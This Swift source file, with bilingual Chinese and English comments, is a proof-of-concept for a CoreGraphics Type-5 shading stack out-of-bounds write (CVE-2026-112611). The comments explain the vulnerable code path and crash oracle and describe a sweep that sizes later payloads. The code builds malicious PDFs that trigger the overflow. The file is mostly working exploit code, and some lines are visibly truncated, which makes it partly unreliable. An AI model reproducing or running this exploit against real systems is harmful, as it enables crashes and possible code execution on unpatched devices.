// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611 // 原语: OOB 写 · 进程内 · tier 1 // Primitive: OOB write · in-process · tier 1 // // [zh] Type-5 阴影栈溢出(值可控 OOB 写) // /ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条 // 72 字节网格记录,颜色区位于记录 +0x20、容量为 nc×8 字节,随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段(即 /Range // 维度)为上界,向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca,故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。 // // [en] Type-5 shading stack overflow (value-controlled OOB write) // A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the // component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh // record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then // calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension) // and writes that many doubles into the colour area. No comparison exists between the write length // and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate, // so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and // the saved registers in order. // ── 判别 / oracle ── // 取 R=136、nc=1、/C0=/C1=1.0 时,每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽; // 循环退出比较读到被覆盖后的计数后继续执行,随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c, // 其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典,draw 代码两侧字节完全一致,属纯闸门修复。 // 变体 cg.shading.sweep: 溢出长度扫描(找吸收阈值) import Foundation // ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func be32(_ v: UInt32) -> [UInt8] { [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le32(_ v: UInt32) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] } static func be64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } } static func le64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } } static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } /* // cg.shading.sweep · CoreGraphics · Type-5 shading · CVE-2026-112611 // 原语: OOB 写 · 进程内 · tier 1 // Primitive: OOB write · in-process · tier 1 // // [zh] 溢出长度扫描(找吸收阈值) // 短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256,逐一记录是否仍能完成渲染,从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。 // // [en] Overflow length sweep (finding the absorption threshold) // A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough // to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering // still completes, and thereby maps the real boundary of the stack layout on this build. That threshold // sets the length budget for every subsequent payload. */ // ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ── enum PDFPayload { struct BitWriter { private(set) var out: [UInt8] = [] private var acc: UInt8 = 0 private var nbits = 0 mutating func put(_ value: UInt32, _ width: Int) { guard width > 0 else { return } for i in stride(from: width - 1, through: 0, by: -1) { acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1) nbits += 1 if nbits == 8 { out.append(acc); acc = 0; nbits = 0 } } } mutating func putExpGolomb(_ value: UInt32) { let v = value + 1 var bits = 0 while (v >> UInt32(bits)) > 1 { bits += 1 } for _ in 0.. [UInt8] { if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 } return out } } struct PDFBuilder { private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) { objects[n] = (dict, stream) } func data() -> Data { var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8) var offsets: [Int: Int] = [:] for n in objects.keys.sorted() { guard let obj = objects[n] else { continue } offsets[n] = out.count out.append(Data("\(n) 0 obj\n".utf8)) out.append(Data(obj.dict.utf8)) if let stream = obj.stream { out.append(Data("\nstream\n".utf8)) out.append(Data(stream)) out.append(Data("\nendstream".utf8)) } out.append(Data("\nendobj\n".utf8)) } let xrefPos = out.count let maxObj = objects.keys.max() ?? 0 out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8)) for n in 1...max(maxObj, 1) { let off = offsets[n] ?? 0 out.append(Data(String(format: "%010d 00000 n \n", off).utf8)) } out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8)) return out } } static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data { let bpCoord = 32 let bpComp = 8 var bw = BitWriter() var verts: [(UInt32, UInt32)] = [] for r in 0..>") pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>") pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh")) pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream) pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>") return pdf.data() } }